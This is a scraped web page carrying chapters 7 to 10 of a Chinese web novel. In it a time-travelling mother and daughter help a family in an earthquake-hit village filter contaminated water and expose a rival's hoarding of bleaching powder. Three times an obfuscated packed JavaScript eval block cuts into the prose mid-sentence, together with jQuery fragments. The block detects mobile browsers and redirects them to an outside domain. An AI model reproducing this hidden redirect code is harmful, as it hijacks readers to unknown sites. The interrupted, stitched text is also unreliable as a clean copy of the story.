() { $(''.inform'').remove(); $(''#content'').append('' ,抄起上面刚盛好糊糊的几个粗瓷碗,狠狠摔在地上! “啪嚓!哗啦——!” 滚烫的糊糊和碎裂的瓷片溅了一地。 方文斌看着满地狼藉,再看看歇斯底里的妻子,一股憋闷和烦躁也涌了上来。他何尝不想有个儿子堵住悠悠众口?何尝不想在村里挺直腰杆?可生男生女是能强求的吗?蒋大海那套阿谀奉承、蝇营狗苟的手段,他打心眼里瞧不上!他方文斌行得正做得直,靠本事吃饭,有什么错?!他猛地吼了一嗓子:“够了!你闹够了没有!摔!摔!把家都摔光你就满意了?!生儿子生儿子!是我不想生吗?!我让你在外面跟人吵了吗?丢人现眼!” “我丢人现眼?!方文斌!你个窝囊废!嫁给你我才倒了八辈子血霉!”成秀英的哭骂声更高了。 看着眼前熟悉又刺目的争吵,看着摔碎的碗筷,方夏荷紧紧抱着怀里终于哭累、只剩下细微抽噎的小夏荷,嘴角扯出一丝苦涩到极点的弧度。 她低下头,在何田耳边用只有两人能听到的声音,疲惫地说:“看,熟悉吗?这就是我小时候的家常便饭。三天一小吵,五天一大吵,摔碗砸盆,家常便饭。” 何田看着满地碎片,看着互相指责、面目狰狞的姥姥姥爷,再看看母亲怀里那个幼小无助、注定要在这种环境中长大的“妈妈”,只觉得一股寒意从心底升起。 她喃喃道:“所以……你后来才找了个何栋梁那样的?情绪不稳定,一点就着?因为……你从小习惯了这样的环境?觉得……这样才是‘正常’?”她的话像一把钥匙,瞬间打开了方夏荷从未深思过的某个角落。 方夏荷身体一僵。是啊,何栋梁……她未来的丈夫,何田的父亲。暴躁,易怒……她当年为什么会选择他?难道真的仅仅是因为相亲介绍?还是因为在潜意识里,那种充满火药味和激烈冲突的“家”的氛围,才是她血液里熟悉的温度?命运,真是一环扣着一环,一环套着一环,像一张挣不脱的网。 她低头看着怀里小夏荷红肿的眼睛和胳膊上的淤青,再看看不远处还在争吵的父母——方文斌并非不负责,他有担当,肯吃苦,却困在“不善钻营”的困境里,一辈子也没能当上村干部;成秀英也并非天生恶毒,她是被“生不出儿子”的羞辱和生活的重压逼成了刺猬。 .一个念头,如同黑暗中划过的闪电,猛地照亮了方夏荷的心:如果……如果爸爸能堂堂正正当上村干部,如果他能在村里挺直腰杆,如果他不用再承受那些“绝户”的闲言碎语带来的压力……是不是妈妈的压力就会小很多?是不是这个家,就不会时刻笼罩在那种压抑和随时会爆发的火药味里?是不是……小夏荷的童年,就能少挨几顿打,少受一些伤? 幸福的童年能改变人生轨迹吗?方夏荷不知道确切的答案。但她知道,一个充满了争吵、暴力、不被期待和深深自卑的童年,一定会留下难以磨灭的伤痕,影响深远。 她轻轻拍着小夏荷的背,感受着那小小的身体传来的微弱暖意,眼神却逐渐变得锐利而坚定。 她侧过头,对着同样陷入深思的何田:“田田,我们不能只看着。光护住她不挨打不够……得从根子上,把这个家……扶起来。得帮你姥爷……赢过蒋大海!” 8. 第 8 章 “听说了吗?文斌那口新井,位置邪乎啊!”村口歪脖子老槐树下,蒋大海的本家婶子神秘兮兮地压低声音,“正正挖在地龙爷翻身震裂开的那道凶脉上了!怪不得老井塌了,地龙爷发怒挪窝,他倒好,一镐头刨人家新窝上了!这是要招大灾啊!” 这场突如其来的地动山摇,撕裂了正阳村赖以生存的根基。村中央那口哺育了几代人的老井,井壁坍塌,浑浊的泥汤成了村民唯一能舀上来的“救命水”。政府发下来的漂白粉很快用完了,没有干净的水源,这生产生活都受影响! 方文斌带着几个汉子,咬着牙在村西头掘出了一口新井。当第一股带着泥沙的浑水涌出时,人们脸上刚露出一丝希望,流言就借着震后的恐慌和混乱缠上了方家。 “哎哟!老天爷!”立刻有人惊恐地拍着大腿,“我说呢!老栓家那头顶壮实的黄牯牛,震后没两天就口吐白沫蹬腿了!可把老栓坑坏了,原来根子在这儿!地龙爷降罪了!” “还有铁蛋家的小子!”又一个声音急切地加入,唯恐天下不乱,“震后拉稀拉得人都脱了形!蔫蔫的,这不也是凶兆?邪气冲天啊!” “触怒地龙爷……这可是要连累全村遭报应的!凶脉上打井,这是嫌咱们死得不够快啊!” 流言卷着恐慌缠绕人心。 成秀英端着半盆浑浊的泥水从河边回来,一路上指指点点的议论钻进耳朵:“就是他们家……”“惹怒了地龙爷……”“晦气……”她气得浑身筛糠般颤抖,手指死死抠着木盆边缘,几乎要炸裂开来。 冲回低矮的窝棚,她把木盆狠狠掼在地上,浑浊的水溅了一地。 “听见那些杀千刀的在嚼什么蛆了吗?!”她冲着闷头坐在门槛上、愁眉不展的方文斌嘶声哭喊,“蒋大海!肯定就是他!满嘴喷粪,说咱挖井挖断了凶脉,触怒了地龙爷!老黄牛死了怪我们!铁蛋家娃子拉肚子也怪我们!这天杀的!是要把地震的脏水全泼到我们头上!要活活逼死我们一家啊!”她猛地抬手捂住脸,压抑的呜咽从指缝里漏出,肩膀耸动得厉害。 方文斌狠狠吸了一口呛人的旱烟,劣质的烟气也压不住心头的巨石。 他望着门外满目疮痍的村落,眼神里是浓得化不开的憋屈和无力。这口井,是他带着人,在余震的威胁下,一镐一镐从震松的土石里刨出来的救命水!怎么就成了招灾的祸根?他想不通,这憋屈和震后重建的压力一起,扼住了他的喉咙。 “娘……”小夏荷被母亲的哭喊吓到了,怯生生地靠过来,小手轻轻拽了拽成秀英湿漉漉的衣角,大眼睛里盛满了不安。 成秀英猛地放下手,脸上戾气一闪,扬手就要推开她:“起开!都是你们这些……” “秀英姨,你先别着急!”何田的声音及时响起。她上前一步,将小夏荷牵到一旁,目光却投向方夏荷,“妈,你学过医,你说这是怎么一回事?” 方夏荷眼中锐光一闪:“要我说,估计是震后水源被污染了,地表开裂,污水倒灌,细菌滋生,大灾之后容易生瘟疫就是这个道理,保不齐是他们喝的水出了问题。” 成秀英低垂着头:“那咋办?不管是啥问题,怎么能赖在咱们家头上呢!” 方夏荷起身往外冲,步伐带着一种与时间赛跑的急切:“我去老栓家看牛!” 何田立刻跟上,思路清晰得如同绷紧的弓弦:“妈,你去牛棚。我去铁蛋家,查水源。” 方夏荷停下脚步,急躁不安:“田田,你不要乱跑,先跟我一块去老栓家。” 何田却笑,悄悄的:“妈,我都快三十了,你忘了?” 方夏荷看着她的目光一滞,一股不可名状的情愫涌上心头:“闺女要是真的七岁就好了。” 何田:“哪好啊,在这年头,真给你当拖油瓶?” 方夏荷:“当拖油瓶我也愿意。” 母女俩的身影一前一后,消失在窝棚门口弥漫的尘土中。成秀英的哭骂噎在喉咙里,方文斌捏着烟袋杆的手指,无意识地收紧,烟锅里的火星明明灭灭。 牛棚。 浓烈的腐臭和血腥味几乎令人作呕。老栓叔佝偻在角落里,那头曾经健硕的黄牯牛瘫在污秽的稻草上,口鼻残留着干涸带血的白沫,腹部胀大如鼓,浑浊的眼睛里只剩下濒死的痛苦喘息。 方夏荷没有丝毫犹豫,捂住口鼻就冲了进去。她不顾地上横流的污物,径直蹲在牛头旁。老栓叔抬起浑浊绝望的眼,认出是她,嘴唇哆嗦了一下,沉重地别过脸去。 方夏荷屏住呼吸,凑近查看牛的口鼻和排泄物残留。她强忍着刺鼻的气味,用手指小心沾了一点稀薄的粪便,捻开观察颜色和性状,又凑近闻了闻——一股混合着腐败和血腥的恶臭。她的眉头拧成了死结,眼神凝重得可怕。这症状……疑似震后水源污染引发的严重出血性肠炎或烈性传染病。 “老栓叔!”方夏荷的声音带着不容置疑的紧迫感,“这牛……震后是不是喝过新井附近洼地里的积水?或者……直接喝了刚打上来、没澄净的新井水?” 老栓叔浑身剧震:“你……你咋知道?!就……就是震后第二天,井水浑得像泥汤,洼地水多,我……我牵它过去饮了……想着牲口……牲口能扛……” 方夏荷的心沉到了谷底。震后洼地积水混杂着各种污染物,新井初成,震裂的岩层可能渗入深层污染……都是致命温床! 铁蛋家。 低矮的土屋墙体裂着狰狞的缝隙,空气中弥漫着酸腐和灰尘的味道。铁蛋媳妇抱着刚止住泻、小脸蜡黄蔫蔫的儿子,满面愁容。何田站在屋里,目光落在墙角那个盖着木盖的大水缸上。她走过去,掀开盖子,一股土腥混合着异味扑面而来。缸里的水略显浑浊,飘着些细微的悬浮物。 “婶子,”何田的声音平静,指向水缸,“这水,震后从哪里打的?” 铁蛋媳妇疲惫地指了指屋后:“就……就屋后头震塌半边的旧水窖,勉强还能渗点水出来……澄一澄就喝了。”她脸上是麻木的无奈,“井都塌了,能有口水喝就不错了……” 何田心头一紧,立刻要求:“带我去看看。” 屋后,半塌的水窖像一张咧开的黑洞洞的嘴。窖壁泥土裸露,裂缝纵横,浑浊的渗水积在窖底,旁边散落着震落的砖石和杂物,甚至能看到老鼠窜过的痕迹。窖口上方,断裂的房梁摇摇欲坠。 何田蹲下身,用树枝搅动了一下窖底的淤泥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867228|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一股更浓烈的腐败气息翻涌上来。震后水源污染,在这里触目惊心! 方夏荷和何田几乎是跑着回到方家。窝棚里的气氛比震后废墟更沉重。成秀英眼神空洞地坐着,方文斌蹲在门槛边,烟锅早已熄灭。 方夏荷的声音带着喘息,却斩钉截铁:“查清了!跟凶脉地龙屁关系没有!是震后水源污染!水里有毒菌!” 成秀英猛地抬头,浑浊的眼里先是茫然,随即爆发出被冤屈的怒火:“水……水有毒?” “对!”方夏荷语速极快,带着不容置疑的紧迫感,“牛喝了被震裂地层污染、混着死畜腐水的洼地水,染了烈性痢疾甚至可能是更凶险的病菌。那孩子也是,喝了震塌水窖里渗出的脏水,细菌性腹泻!哪有什么触怒地龙招灾祸?就是震后的脏水在害人!” 何田紧接着开口,声音冷静,条理清晰:“新井位置没问题,但震后地质不稳,深层水可能被污染,加上刚出水浑浊,直接喝风险极大。村里像铁蛋家那样喝震塌水窖、露天脏水的,简直是拿命在赌!” 成秀英看着何田天真稚气的脸庞:“你一个小娃娃,你怎么懂得这些呀?” 何田收敛起那股锐气劲儿,藏进小孩的躯壳里:“我……我妈妈告诉我的。” 方文斌捏着烟袋杆的手猛地一紧,指节咯咯作响。他抬起头:“那……那该咋整?这井……还能救吗?” “能!”方夏荷斩钉截铁,“必须处理!这是救命水,得让它干净。现在谣言四起,人心惶惶,光靠我们说没用。得让大家亲眼看到、亲口喝到干净水,才是活路!也是戳穿蒋大海谎言的铁证!”她看向方文斌,“我们得琢磨个过滤的法子,现在就是救命的法子!” 方文斌愣了一下,猛地想起:“是……这个我琢磨过,震前就想弄,用细沙、碎石、木炭……” “就用这个!”方夏荷眼睛亮得惊人,“震后物资紧缺,这个法子最实用!木炭能吸附毒物去异味,沙子石子能挡住泥沙虫卵病菌!马上弄!刻不容缓!” “现在?”成秀英有些懵,震后的混乱让她本能地迟疑。 “就现在!立刻!马上!”方夏荷语气带着破釜沉舟的急迫,“震后疫病说发就发!趁着流言刚起,趁着大家还渴着,把干净水亮出来,就是救命的活菩萨!去找材料!干净的细沙、碎石、烧透的硬木炭。我和田田去井边搭架子!” 方文斌看着两个几天前还“陌生”的一对母女,她们眼中为什么会燃起不顾一切的火焰?就为了暂住在方家?就为了讨一口吃食?那她们救了成刚一命,早已经回报得太多。 那诚挚的火焰瞬间点燃了他的斗志。方文斌把烟袋锅狠狠往腰带上一别:“行!拼了这条命也把东西找来!”他像一头被激怒的雄狮,大步冲了出去,背影带着一股震后罕见的狠劲。 成秀英看着丈夫瞬间爆发的力量,看着方夏荷坚定的眼神,混乱的脑子里第一次清晰地意识到:这或许不是命,是蒋大海的毒计,更是震后必须闯过去的鬼门关! 她猛地站起身,走到水缸边,看着里面浑浊的水,眼神复杂地闪烁了几下,最终化为一种咬牙的狠劲,转身开始翻找家里仅存的、还算干净的破布。 9. 第 9 章 村西新井旁,很快围拢了一小圈惊魂未定、面如土色的村民。浑浊的井水旁,方文斌拖来了一个勉强还能用的旧陶瓮。 方夏荷和何田正手脚麻利地处理材料。最底层铺上一层洗净的小鹅卵石;上面是一层指头大小的碎石子;再铺上一层厚厚的、在浑浊河水里淘洗了无数遍才勉强去除了大部分泥沙的粗河沙;最上面,则铺满了方文斌砸开的、乌黑发亮的硬木炭块。 “文斌……这……这能行吗?地龙爷震怒的水……”有人怯生生地问,声音里满是恐惧和疑虑。 “是啊,凶脉上的水,弄啥能干净?”立刻有人小声附和,目光躲闪地瞟向挤在人群外围、抱着胳膊旁观的蒋大海。 蒋大海嘴角露出惯常的假笑,眼睛却冷冷地盯着方家人的动作,仿佛在看一场注定失败的滑稽戏。 方文斌深吸一口气,压下心头的紧张。他按照方夏荷的指示,拔掉陶瓮底部临时塞住的破布团。他拿起水桶,从新井里打上一桶浑浊不堪的泥浆水,小心翼翼地倒进瓮顶的木炭层里。 浑浊得如同泥汤的水流,经过乌黑的木炭层,再缓缓渗过沙层、石子层……所有人都屏住了呼吸,只剩下紧张的喘息和煤油灯芯燃烧的噼啪声。无数道目光死死盯着瓮底那个小洞。 一滴……两滴…… 清澈透明、如同山涧清泉般的水珠,从瓮底的小洞里滴落出来,汇入下方接水的、洗刷了数遍的木盆里! “哗——!”人群里爆发出难以置信的惊呼! “天爷!真……真清了!” “快看!一点泥星都没了!透亮!” “这水……看着能喝啊!” 方夏荷立刻拿起一个洗刷干净的破碗,从木盆里舀起半碗刚滤出来的清水。 那水在粗瓷碗里,纯净得不可思议,在昏黄的煤油灯光下折射出清冽的光。 “乡亲们看看!”方夏荷把碗高高举起,声音因激动而微微发颤,却异常清亮,“这就是咱新井里的水!震后浑水!只经过了这几层简单的过滤!泥沙、脏东西、毒菌,都被拦住了!这才是震后能救命的干净水!” 她顿了顿,目光扫过众人惊愕的脸,最后钉在蒋大海骤然变色的脸上,声音陡然拔高:“什么凶脉触怒地龙爷?那是有人黑了心肝!想借着天灾害人!想让大家喝脏水等死!震后水源污染才是真凶!喝了不干净的水,牲口要死,人要病!这才是铁打的事实!” 她仰起头,就在众目睽睽之下,将碗里那清亮的水,“咕咚咕咚”喝了一大口! 然后一抹嘴,把碗用力递向离得最近、家里孩子刚闹过肚子的铁蛋媳妇:“婶子!尝尝!看这水能不能救命!看它是不是比你那水窖里的毒水强百倍!” 铁蛋媳妇看着那碗清水,又看看方夏荷坦荡无畏的眼神,再看看怀里蔫蔫的儿子。她一把接过碗,手抖得厉害,小心翼翼地抿了一口。 冰凉、清冽、没有一丝怪味的水滑过干渴灼痛的喉咙。 “甜……是甜的!是干净水!”她失声喊了出来,眼泪瞬间涌出,那是喜极而泣的泪水。 这一声,如同点燃了燎原的星火!人群瞬间沸腾了!人们不由自主地往前挤,伸出手,哭喊着: “文斌大哥!快教教咋弄!” “这法子好!沙子石头木炭,震后也能找!” 方文斌看着眼前一张张激动的面孔,看着他们眼中对干净水的极度渴望,一股滚烫的热流冲上眼眶,酸涩得厉害。 连日来的憋屈、惶恐和震后重建的压力,仿佛被这求生的洪流冲开了闸门。他挺直了有些佝偻的脊背,声音洪亮地开始讲解这救命的简易滤水瓮如何搭建、材料如何寻找。 蒋大海脸上的假笑僵死了,他盯着那个滴着清水的陶瓮,盯着被村民簇拥着的方文斌,眼神怨毒得能滴出血来。 他悄无声息地退出了人群,像一条被打断了脊梁的丧家之犬。 震后的日子,生存是唯一的主旋律。方家那口新井和救命的“三层滤水瓮”,成了正阳村废墟上最宝贵的一抹希望。 方文斌几乎不眠不休,帮这家修补震塌的灶台搭滤瓮,教那家在废墟里寻找可用的沙石木炭。 看着清亮的水流进自家的水缸、灌进干渴的喉咙,越来越多的村民在方文斌满是尘土和汗水的脸上,看到了“主心骨”三个字。 “文斌是实在人!有真本事!” “震后要不是他这净水法子,不知要病死多少人!比那些光会耍嘴皮子、发灾难财的强万倍!” 这些议论,断断续续飘进成秀英耳朵里。她依旧在震后的废墟里忙得灰头土脸,骂咧咧地抱怨方文斌“不顾家”“就知道往外跑”,但当她看到男人拖着疲惫不堪的身体回来,默默修补自家震裂的土墙时,她骂人的声音会不自觉地低下去。 有一次,她甚至把家里最后一点玉米面,多揉了一小块饼子,塞进正要出门帮人修滤瓮的方文斌手里,动作粗鲁,眼神却瞥向别处,嘟囔着:“饿死了谁去帮人……” 方文斌愣了一下,接过饼子,没说话,只是脚步轻快了些。 方夏荷和何田默默地看着,心照不宣。 方夏荷托着腮:“这次总算是扳回一局,帮你姥爷赢得了民心啊。想想你姥爷上辈子就知道傻干,一点心眼也不长,被蒋大海这样的人算计了不知道多少次。村干部选举他每次都被人推举上去,一到真投票的时候就没人投,都快成笑话了,最后好不容易当上了村干部,没两天又让人家给整得下了台。你姥姥没少因为这些事哭哭闹闹,和你姥爷吵得天翻地覆。” 何田的脸上现出隐隐担忧,她越想越心慌:“妈,那天姥爷去找粮站的老李换药,他到底是用什么换的啊?该不会出什么问题吧!” 方夏荷托着腮的手忽地放了下来。 “是啊,田田。”方夏荷的声音低沉下去,“蒋大海那个小人,不会轻易善罢甘休的。他前几天不是之前和粮站老李走得挺近?选举在即,保不齐会拿那晚的事大作文章。粮站老李……是关键。” 母女俩对视一眼,无需多言,便明白了接下来的方向——必须抢在蒋大海之前,拿下粮站老李! 不仅要弄清楚那晚的真相,更要让老李在关键时刻,成为方文斌最有力的护身符! 直接质问或者恳求?那太愚蠢,也太容易引起蒋大海的警觉。 何田:“那我们只能燥中取静,找时机雪中送炭了。” 机会很快来了。 这天,何田跟着王君去粮站换点粗盐,正巧遇见老李扶着腰,脸色发白地从库房里出来,额头上密密麻麻全是冷汗。 “李伯伯,您咋啦?”何田立刻跑过去,小脸上满是关切。 “唉,老毛病了,腰疼……这震后搬搬抬抬的,又犯了。”老李摆摆手,疼得直抽气。 何田留心着,得空便跑回家,把情况告诉了方夏荷。方夏荷心里一动,她在卫校学过推拿手法,虽然生疏,但对缓解急性腰肌劳损很有效。她立刻翻找记忆,又结合震后能找到的东西,琢磨了一个法子。 第二天,何田又“碰巧”路过粮站。她提着一个旧瓦罐,里面装着方夏荷熬的草药汤——用几种常见的活血化瘀草药加上粗盐煮的热敷汤。她还记得方夏荷教的几个关键穴位。 “李伯伯,我妈说您腰疼,让我给您送点这个来。”何田把瓦罐递过去,奶声奶气地说,“热乎乎的,倒在毛巾上敷在疼的地方。我妈还说,让我给您按按几个地方,能舒服点。”她伸出小手,准确地按向老李腰眼附近的几个穴位,力道不大,但位置精准。 滚烫的药敷加上那恰到好处的按压,一股暖流和酸胀感瞬间缓解了老李腰部的剧痛。 他舒服地长吁一口气,惊讶地看着眼前这个懂事得不像话的小丫头:“哎哟……舒服多了!你妈……还会这个?” “我妈说,是以前跟一个老中医学的皮毛,能帮上李伯伯就好。”何田甜甜一笑,任务完成,蹦蹦跳跳走了。 这一来二去的“巧合”关怀,效果立竿见影。老李对方夏荷母女的好感度直线上升。 接着,方夏荷又“无意中”发现老李老伴儿有严重的咳嗽,夜里尤其厉害,咳得撕心裂肺。她利用震后能搞到的几味润肺的草药,熬了润肺止咳的汤水,让何田送过去。 “李奶奶,我妈说这个润嗓子,夜里喝了能睡安稳些。”何田乖巧地递上小瓦罐。 老李老伴喝了几天,那折磨人的夜咳减轻了大半!老两口对方夏荷的“土方子”和这份心意,感激得不知如何是好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867229|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 关系近了,话匣子就容易打开。 在一个帮老李整理震后粮站受损记录的下午,方夏荷看似随意地叹了口气:“李大哥,那天晚上真是多亏了你。方大哥回来那样子,跟水里捞出来似的,冻得话都说不利索,就掏出那药……要不是你,刚子那条命……” 老李正低头核对数字,闻言动作一顿。 他眼珠子转了转,抬起头,压低了声音:“夏禾妹子,不怕你笑话……那天晚上,文斌兄弟真是豁出命去了!那雨大的……他怀里死死捂着那点玉米粒和粮票,浑身哆嗦地求我救命……我心一横,就把站里那点备用的药给他了……唉,也是没法子,总不能看着人死啊!” 方夏荷心里有几分犹疑,面上却依旧沉着:“是啊,救命要紧。可……就怕有人拿这事做文章,说咱们倒卖公家药品……” 老李眼中闪过一丝厉色,拍了下桌子,又赶紧压低声音:“谁敢胡说八道!药是我批条子领的备用!文斌给的粮票,我分文未收!我回头就补个手续!清清白白救人命,怕啥!” 方夏荷心中一定,要的就是老李这个态度。 震后重建与村干部改选的合并大会,在村委临时搭建的棚子里举行。 气氛比震后的瓦砾堆还要沉重紧绷。 煤油灯的光线在残破的棚壁上投下摇晃的阴影。蒋大海穿着他那件洗得发白的干部装,头发梳得一丝不苟,正在台上讲着他的“重建大计”——如何向上级哭穷争取更多救济粮款,如何带领大家“在废墟上重建家园”。 他言辞激扬,描绘着未来,竟让不少村民听得频频点头。 轮到方文斌了。 他走上用震后残存课桌拼凑的台子,手心瞬间被汗水浸透。 准备好的话卡在喉咙里,他张了张嘴,脸憋得通红,才挤出干涩的声音:“我……我就想……让大伙儿……震后……都能……喝上口……干净水……少……少得病……” 底下一片沉默。这朴实无华甚至有些笨拙的开场,在蒋大海描绘的“大饼”面前,显得如此微不足道。 蒋大海眼底闪过一丝冰冷的得意。时机成熟了。 “文斌兄弟!”蒋大海忽然扬声,脸上依旧是那副忧心忡忡的表情,“你为村里搞净水,救了不少人,这功劳,乡亲们都记在心里!震后艰难,大家伙儿都感激!” 他话锋一转:“不过……你这法子是好,可眼下,全村老少喝水都指着你这一套,离了你这滤水瓮,大家连口干净水都喝不上……这……这以后村里的大事小情,是不是都得听你的了?这水都归你管了,你方文斌……是不是就成咱正阳村的‘水龙王’了?” 诛心之论!裹挟着震后人们对“生存依赖”的天然恐惧,狠狠捅向方文斌! 方才涌动的善意冻结了,无数道目光射向台上的方文斌,充满了审视、警惕和深深的不安! 方文斌脸涨成了猪肝色,额头青筋暴跳:“你……你放屁!我……”他想怒吼,想辩解,可愤怒和冤屈堵在胸口,让他一时竟发不出声音,只能呼哧呼哧喘着粗气。 蒋大海眼底的得意几乎要溢出来,他正要乘胜追击,给予最后一击—— “蒋大海叔叔!” 一个清脆、冷静,带着点稚气的声音,如同冰凌碎裂般,刺破了这沉闷的死寂! 所有的目光,从窘迫的方文斌身上,转向了声音的来源——站在方夏荷身边的何田。 何田从她那个印着“为人民服务”、边角磨损的旧帆布挎包里,不紧不慢地掏出一个小本子。那是个普通的横格本。 她翻开本子,动作从容不迫,然后抬起头,目光平静,直直迎上蒋大海不明所以的眼神。 “蒋叔叔,”何田的声音不高,“我最近学会了算数,我算了算,政府拨给正阳村的漂白粉是全村三个月的用量,但是现在远不足一个月,漂白粉却已经用光了。蒋叔叔,是你辛辛苦苦给大家分配灾后物资的吧!” 死寂! 连呼吸都停滞的死寂! 煤油灯芯燃烧的噼啪声被无限放大。 蒋大海的脸色忽明忽暗。 何田稚嫩的一字一句,掷地有声:“蒋叔叔,我看你家后院还有好些漂白粉,是不是工作太忙,你分忘了呀!” 10. 第 10 章 短暂的死寂之后,整个会场如同被点燃的火药桶,彻底炸裂! “啥?蒋大海自己偷摸藏漂白粉?!” “我的老天爷!他一边拦着文斌不让给大伙弄干净水,一边自己偷偷用好的?!” “畜生!这是要吃独食!要看着我们喝脏水等死啊!” “呸!狼心狗肺的东西!滚下去!” 愤怒的声浪如同火山爆发席卷了整个棚子。 蒋大海脸上那副同舟共济的面具,瞬间布满裂痕,轰然破碎! 他瞳孔缩成针尖,死死盯着何田: “你个小黄毛丫头,谁他娘的教给你说这些话的!是谁让你撒这些谎来污蔑我的?!” 他一个跨步冲到何田面前,揪着她的衣领,猛地把她提溜起来。何田双脚倏地悬空,蒋大海那副挂着笑的面孔此刻狰狞得青筋暴起。何田被他抓得呼吸一滞,脸憋成了酱红色,直咳嗽。 方夏荷眼睛猩红,扑上去厮打,狠狠掐着蒋大海的手:“松手!你个疯子快放开我闺女!松手!放开!” 蒋大海腾出一只手,朝着方夏荷用力搡了一把,直把她推得摔倒在地:“我告诉你,你跟这小死丫头不知道从哪冒出来的,谁知道你们什么来路,老子早晚整死你们俩!” 何田死命扭动着脖子,尖牙利齿往蒋大海手上啃咬,唾沫喷了他一脸:“蒋大海!你敢打我妈?” 棚子里霎时间尘土飞扬,乱作一团。 方文斌刚从台上冲下,一道敦实的身影已如炮弹般撞开人群! “啪——!” 一声脆响,结结实实的大耳刮子扇在蒋大海油腻的脸上!力道之大,打得他眼前金星乱冒,耳朵嗡嗡作响。何田趁机一扭身,挣脱桎梏,跌落在地大口喘气。 竟是成秀英。 “我呸!蒋大海你个下三滥!欺负孤儿寡母算什么爷们?你那点狗屁心思被捅穿了,就想捂人嘴巴?看老娘不呼死你个王八羔子!”成秀英攥着发麻的拳头,手心火辣,胸脯剧烈起伏,一双吊梢眼燃着骇人的怒火。 她抬腿又是一脚,狠狠踹在蒋大海腿弯:“污蔑我男人的账还没算!动她们娘俩?你试试!先问问我成秀英这两个巴掌答不答应!” “成秀英!你个不下蛋的老母鸡!”蒋大海的泼妇媳妇尖叫着从人堆里钻出来,声音尖利刺耳。 成秀英身形猛地一僵,酸涩直冲眼眶。她撅着嘴,硬是把那点湿意逼了回去,脖子梗得更直,声音拔得更高:“方文斌!你死人啊!还不带人去抄了他蒋家的后院!把漂白粉搜出来,给乡亲们分了救命!” 蒋大海被踹得一个趔趄,强撑着摇摇欲坠的狼狈,如困兽做最后的反扑: “方文斌!你婆娘非要撕破脸,就别怪老子掀你老底!”他猛地一指方文斌,声音癫狂,“你敢不敢当着全村父老乡亲说清楚!地震后第三天那场泼天大雨!你深更半夜摸黑去粮站找老李干啥?!你怀里揣的什么硬疙瘩?!老李又给了你什么见不得光的东西?!说啊!” 人群再次哗然!无数道目光如探照灯般打在方文斌身上。王君的脸“唰”地惨白如纸,成秀英紧张得攥紧了衣角。方夏荷眼中满面露出忧色。 方文斌脸色铁青,牙关紧咬,腮帮子绷出凌厉的线条。 不能说!一个字都不能说!说出来,全家都得完蛋! 他喉咙发紧,硬挤出声音:“蒋大海!你少血口喷人!我是去问救济粮!” “问粮?”蒋大海嗤笑,脸上阴毒更盛,步步紧逼,“问粮用得着顶风冒雨鬼鬼祟祟?用得着塞东西?老李!别怕!当着支书的面,大胆说!方文斌是不是给了你金溜子?!你是不是给了他磺胺药?!那是管制药!你们这是倒卖!是挖社会主义墙角!是犯罪!” “金溜子?”村支书的脸色瞬间严肃起来,目光射向方文斌和老李。私藏金银、倒卖管制药品,这足以毁掉一个家。 现场气氛紧张得真要爆炸。蒋大海脸上压抑不住地露出阴笑。 粮站老李一步一步排开众人,走到了村民们面前。他一副老好人面相,也是一副老好人做派,此刻他那张速来和气的脸,难看得紧绷着,带着一股被污蔑的愤怒。 “蒋大海,你不要污蔑了好人呐!”老李气得直突突,声音虽不大,却压过了所有的嘈杂,“什么金溜子?我老李在粮站干了一辈子,清清白白。那天晚上,文斌兄弟是来找我了,他浑身湿透,急得跟什么似的!为啥?因为他小舅子成刚被砸成重伤,伤口烂了,高烧不退,眼看就要没命了。他是来求我救命的。” 他环视众人,眼神坦荡:“是!我是给了他磺胺药和退烧针!可那药是哪来的?是震后公社卫生所清点出来的破损包装处理品!按规定,我们粮站作为保障单位,是可以申请备用以防急病的!我有批条。” 他扬了扬一张事先准备好的、盖着公章的‘震后物资临时领用单’。 “文斌兄弟非要给报酬!说不能白拿公家的东西!他硬是把身上的玉米粒和几张粮票塞给我!我就象征性地收了一点玉米粒!想着回头交公或者给站里加个餐!粮票我一张没要,让他拿回去给孩子买粮!这事,天知地知,他知我知!你蒋大海躲在哪犄角旮旯里,你能看见个屁的金溜子?你这就是红口白牙地污蔑!是看文斌兄弟带着大家伙儿干实事,你眼红了!想搅黄选举,破坏咱村重建!” 蒋大海傻了眼,呆滞的脸上现出一点荒唐笑意:“老李,方文斌威胁你了?不对,你收了他的好处!哈哈,我真是傻疯了,你们两个合起伙来演这一出戏,就是为了,为了把我蒋大海,搞!下!台!” “蒋兄弟。”老李痛心疾首,“自从文斌当上临时干部,你就处处针对他,几次三番来我家探听他的把柄。说实在话,他能有啥把柄?退一万步说,成刚是咱们村的人,用咱们公家的药救咱们村的人,又有什么毛病,咱们几个爷们好不容易把成刚从鬼门关里刨出来,难不成要再看着他活生生烧死吗?” “是啊,可怜成刚这个大小伙子,才19岁,腿就砸坏了。” “原来是这样!我就说文斌不是那种人!” “蒋大海太不是东西了!这种时候还诬告!” “就是!他整天就会耍嘴皮子,净水瓮他搭把手了吗?” 群情激愤,矛头瞬间转向蒋大海。 村支书听完老李的解释,又看了看那张“手续”,脸色缓和下来。震后特殊情况,救人优先,这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 